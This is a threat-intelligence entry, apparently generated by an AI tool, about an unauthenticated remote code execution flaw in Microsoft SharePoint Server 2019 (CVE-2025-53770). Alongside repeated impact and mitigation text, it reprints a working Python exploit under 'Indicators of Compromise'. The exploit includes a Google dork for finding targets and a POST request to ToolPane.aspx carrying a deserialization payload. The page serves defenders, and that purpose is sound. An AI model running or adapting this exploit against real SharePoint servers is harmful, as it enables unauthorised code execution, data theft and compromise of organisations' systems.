Microsoft SharePoint Server 2019 (16.0.10383.20020) - Remote Code Execution (RCE)
Microsoft SharePoint Server 2019 (16.0.10383.20020) - Remote Code Execution (RCE)
AI Analysis
Technical Summary
The identified threat is a critical remote code execution vulnerability in Microsoft SharePoint Server 2019, specifically version 16.0.10383.20020. SharePoint Server is widely used for collaboration and document management in enterprises. This vulnerability enables an attacker to execute arbitrary code remotely without authentication, which significantly raises the risk profile. The exploit targets a flaw in the server's handling of requests, allowing malicious payloads to be processed and executed. The presence of publicly available Python exploit code (Exploit-DB ID 52405) confirms the feasibility of exploitation by attackers with moderate technical skills. Although no official patch or mitigation guidance has been published yet, the vulnerability's critical severity indicates that exploitation could lead to full system compromise, data breaches, and disruption of business-critical services. The lack of known exploits in the wild suggests this is a newly disclosed vulnerability, but the availability of exploit code increases the likelihood of imminent attacks. Organizations relying on this SharePoint version should prioritize risk assessment and implement compensating controls to prevent exploitation.
Potential Impact
For European organizations, the impact of this vulnerability could be severe. SharePoint Server is extensively used across various sectors including government, finance, healthcare, and manufacturing, all of which handle sensitive and regulated data. A successful attack could result in unauthorized access to confidential documents, intellectual property theft, disruption of collaboration workflows, and potential ransomware deployment. The ability to execute code remotely without authentication means attackers can bypass perimeter defenses and gain persistent footholds within networks. This could lead to lateral movement, privilege escalation, and long-term compromise of enterprise environments. Additionally, regulatory compliance risks arise from potential data breaches under GDPR, exposing organizations to fines and reputational damage. The operational impact includes downtime and recovery costs, which can be substantial for critical infrastructure and large enterprises.
Mitigation Recommendations
Given the absence of official patches, European organizations should immediately implement the following mitigations: 1) Restrict external access to SharePoint servers by enforcing strict network segmentation and firewall rules to limit exposure. 2) Monitor network traffic and server logs for unusual or suspicious activity indicative of exploitation attempts, focusing on anomalous HTTP requests targeting SharePoint endpoints. 3) Apply application-layer web application firewalls (WAFs) with custom rules to detect and block exploit payloads targeting this vulnerability. 4) Conduct thorough vulnerability assessments and penetration testing to identify any existing compromise or weaknesses. 5) Harden SharePoint configurations by disabling unnecessary services and features that could be leveraged by attackers. 6) Prepare for rapid deployment of official patches once released by Microsoft by maintaining up-to-date asset inventories and patch management processes. 7) Educate IT and security teams about the threat and ensure incident response plans are updated to handle potential exploitation scenarios.
Affected Countries
Germany, United Kingdom, France, Netherlands, Italy, Spain, Poland, Sweden
Indicators of Compromise
- exploit-code: # Exploit Title: Microsoft SharePoint Server 2019 – Remote Code Execution (RCE) # Google Dork: intitle:"Microsoft SharePoint" inurl:"/_layouts/15/ToolPane.aspx" # Date: 2025-08-07 # Exploit Author: Agampreet Singh (RedRoot Tool Maker – https://github.com/Agampreet-Singh/RedRoot) # Vendor Homepage: https://www.microsoft.com # Software Link: https://www.microsoft.com/en-us/microsoft-365/sharepoint/collaboration # Version: SharePoint Server 2019 (16.0.10383.20020) # Tested on: Windows Server 2019 (x64) # CVE: CVE-2025-53770 #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Exploit Author: Agampreet Singh (RedRoot Tool Maker) RedRoot Repository: https://github.com/Agampreet-Singh/RedRoot This PoC demonstrates unauthenticated RCE by exploiting unsafe deserialization in SharePoint’s ToolPane.aspx via the Scorecard:ExcelDataSet control. FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING PURPOSES ONLY. """ import requests import base64 import gzip import re import sys def exploit_sharepoint(target_url): print(f"[+] Target: {target_url}") headers = { "Referer": "/_layouts/SignOut.aspx", "Content-Type": "application/x-www-form-urlencoded" } payload = ''' <%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %> <asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest"> <ProgressTemplate> <div class="divWaiting"> <Scorecard:ExcelDataSet CompressedDataTable="H4sIAADEfmgA/4WRX2uzMBTG7/0Ukvs06ihjQb3ZbgobG1TYeO9OY6yBJpGTdHbfvudVu44x6FUkPn9+PEnK1nTdHuV8gE1P9uCCtKGFCBU7opNB9dpC4NYo9MF3kStvJen4rGKLZ4645bkU8c+c1Umalp33/0/62gGmC45pK9bA7qBZOpdI9OMrtpryM3ZR9RAee3B7HSpmXNAYdTuFTnGDVwvZKZiK9TEOUohxHFfj3crjXhRZlouPl+ftBMspIYJTVHlxEcQt13cdFTY6xHeEYdB4vaX7jet8vXERj8S/VeCcxicdtYrGuzf4OnhoSzGpftoaYykQ7FAXWbHm2T0v8qYoZP4g1+t/pbj+vyKIPxhKQUssEwvaeFpdTLOX4tfz18kZONVdDRICAAA=" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet> </div> </ProgressTemplate> </asp:UpdateProgress> '''.strip() data = { "MSOTlPn_Uri": target_url, "MSOTlPn_DWP": payload } try: response = requests.post( f"{target_url}/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx", headers=headers, data=data, verify=False, timeout=10 ) if response.status_code != 200: print(f"[-] Unexpected HTTP response: {response.status_code}") return match = re.search(r'CompressedDataTable="([^&]+)', response.text) if not match: print("[-] No CompressedDataTable found in response.") return compressed_b64 = match.group(1) print("[+] Compressed payload extracted.") compressed_data = base64.b64decode(compressed_b64) decompressed_data = gzip.decompress(compressed_data) decoded_output = decompressed_data.decode('utf-8', errors='ignore') print("[+] Payload decoded successfully. Dumping to file...") output_file = "/tmp/sharepoint_decoded_payload.txt" with open(output_file, "w", encoding="utf-8") as f: f.write(decoded_output) print(f"[+] Saved to {output_file}") print("[*] Summary Matches:") for keyword in ["IntruderScannerDetectionPayload", "ExcelDataSet", "divWaiting", "ProgressTemplate", "Scorecard"]: if keyword in decoded_output: print(f" - Found: {keyword}") except Exception as e: print(f"[!] Exploit failed: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python3 cve-2025-53770.py https://target.com") sys.exit(1) target = sys.argv[1].strip().rstrip('/') exploit_sharepoint(target)
Microsoft SharePoint Server 2019 (16.0.10383.20020) - Remote Code Execution (RCE)
Description
Microsoft SharePoint Server 2019 (16.0.10383.20020) - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
The identified threat is a critical remote code execution vulnerability in Microsoft SharePoint Server 2019, specifically version 16.0.10383.20020. SharePoint Server is widely used for collaboration and document management in enterprises. This vulnerability enables an attacker to execute arbitrary code remotely without authentication, which significantly raises the risk profile. The exploit targets a flaw in the server's handling of requests, allowing malicious payloads to be processed and executed. The presence of publicly available Python exploit code (Exploit-DB ID 52405) confirms the feasibility of exploitation by attackers with moderate technical skills. Although no official patch or mitigation guidance has been published yet, the vulnerability's critical severity indicates that exploitation could lead to full system compromise, data breaches, and disruption of business-critical services. The lack of known exploits in the wild suggests this is a newly disclosed vulnerability, but the availability of exploit code increases the likelihood of imminent attacks. Organizations relying on this SharePoint version should prioritize risk assessment and implement compensating controls to prevent exploitation.
Potential Impact
For European organizations, the impact of this vulnerability could be severe. SharePoint Server is extensively used across various sectors including government, finance, healthcare, and manufacturing, all of which handle sensitive and regulated data. A successful attack could result in unauthorized access to confidential documents, intellectual property theft, disruption of collaboration workflows, and potential ransomware deployment. The ability to execute code remotely without authentication means attackers can bypass perimeter defenses and gain persistent footholds within networks. This could lead to lateral movement, privilege escalation, and long-term compromise of enterprise environments. Additionally, regulatory compliance risks arise from potential data breaches under GDPR, exposing organizations to fines and reputational damage. The operational impact includes downtime and recovery costs, which can be substantial for critical infrastructure and large enterprises.
Mitigation Recommendations
Given the absence of official patches, European organizations should immediately implement the following mitigations: 1) Restrict external access to SharePoint servers by enforcing strict network segmentation and firewall rules to limit exposure. 2) Monitor network traffic and server logs for unusual or suspicious activity indicative of exploitation attempts, focusing on anomalous HTTP requests targeting SharePoint endpoints. 3) Apply application-layer web application firewalls (WAFs) with custom rules to detect and block exploit payloads targeting this vulnerability. 4) Conduct thorough vulnerability assessments and penetration testing to identify any existing compromise or weaknesses. 5) Harden SharePoint configurations by disabling unnecessary services and features that could be leveraged by attackers. 6) Prepare for rapid deployment of official patches once released by Microsoft by maintaining up-to-date asset inventories and patch management processes. 7) Educate IT and security teams about the threat and ensure incident response plans are updated to handle potential exploitation scenarios.
Affected Countries
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Technical Details
- Edb Id
- 52405
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Microsoft SharePoint Server 2019 (16.0.10383.20020) - Remote Code Execution (RCE)
# Exploit Title: Microsoft SharePoint Server 2019 – Remote Code Execution (RCE) # Google Dork: intitle:"Microsoft SharePoint" inurl:"/_layouts/15/ToolPane.aspx" # Date: 2025-08-07 # Exploit Author: Agampreet Singh (RedRoot Tool Maker – https://github.com/Agampreet-Singh/RedRoot) # Vendor Homepage: https://www.microsoft.com # Software Link: https://www.microsoft.com/en-us/microsoft-365/sharepoint/collaboration # Version: SharePoint Server 2019 (16.0.10383.20020) # Tested on: Windows Server 2019 (... (3574 more characters)
Threat ID: 689a95b8ad5a09ad002b097b
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 11/3/2025, 9:39:30 AM
Last updated: 12/3/2025, 8:13:25 AM
Views: 116
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